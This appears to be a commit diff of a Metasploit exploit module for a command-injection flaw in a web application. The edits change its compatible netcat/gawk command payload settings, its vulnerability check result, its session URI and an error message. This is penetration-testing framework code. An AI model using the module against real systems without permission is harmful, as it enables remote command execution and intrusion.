@@ -50,8 +50,7 @@ def initialize(info={})
50
50
'Compat' =>
51
51
{
52
52
'PayloadType' => 'cmd' ,
53
- 'RequiredCmd' => 'generic netcat gawk' , # rest of them can't fit within 252 space due to badchars.
54
- 'ConnectionType' => '-bind' # iptables block incoming connections to everything.
53
+ 'RequiredCmd' => 'generic netcat gawk' , # other cmd payloads can't fit within 252 space due to badchars.
55
54
} ,
56
55
} ,
57
56
'Targets' => [ [ 'Automatic' , { } ] ] ,
@@ -62,22 +61,24 @@ def initialize(info={})
62
61
end
63
62
64
63
def check
64
+ # There is no exact way to understand validity of vulnerability without registering new user as well as trigger the command injection.
65
+ # which is not something we want to do for only check..!
65
66
res = send_request_cgi (
66
67
'method' => 'GET' ,
67
68
'uri' => normalize_uri ( target_uri . path , 'users' , 'register' ) ,
68
69
)
69
70
if res && res . code == 302
70
71
Exploit ::CheckCode ::Safe
71
72
else
72
- Exploit ::CheckCode ::Vulnerable
73
+ Exploit ::CheckCode ::Unknown
73
74
end
74
75
end
75
76
76
77
def initiate_session
77
78
print_status ( 'Initiating new session on server side' )
78
79
res = send_request_cgi (
79
80
'method' => 'GET' ,
80
- 'uri' => normalize_uri ( target_uri . path , 'index.php ' ) ,
81
+ 'uri' => normalize_uri ( target_uri . path , 'users' , 'login ') ,
81
82
)
82
83
if res && res . code == 200
83
84
res . get_cookies
@@ -159,7 +160,7 @@ def register_user(username, password)
159
160
if res && res . code == 200 && res . body . include? ( 'Registration Completed.' )
160
161
print_good ( 'User successfully activated' )
161
162
else
162
- fail_with ( Failure ::Unknown , 'Could not activated our user.' )
163
+ fail_with ( Failure ::Unknown , 'Could not activated our user. Target may not be vulnerable. ' )
163
164
end
164
165
end
165
166
0 commit comments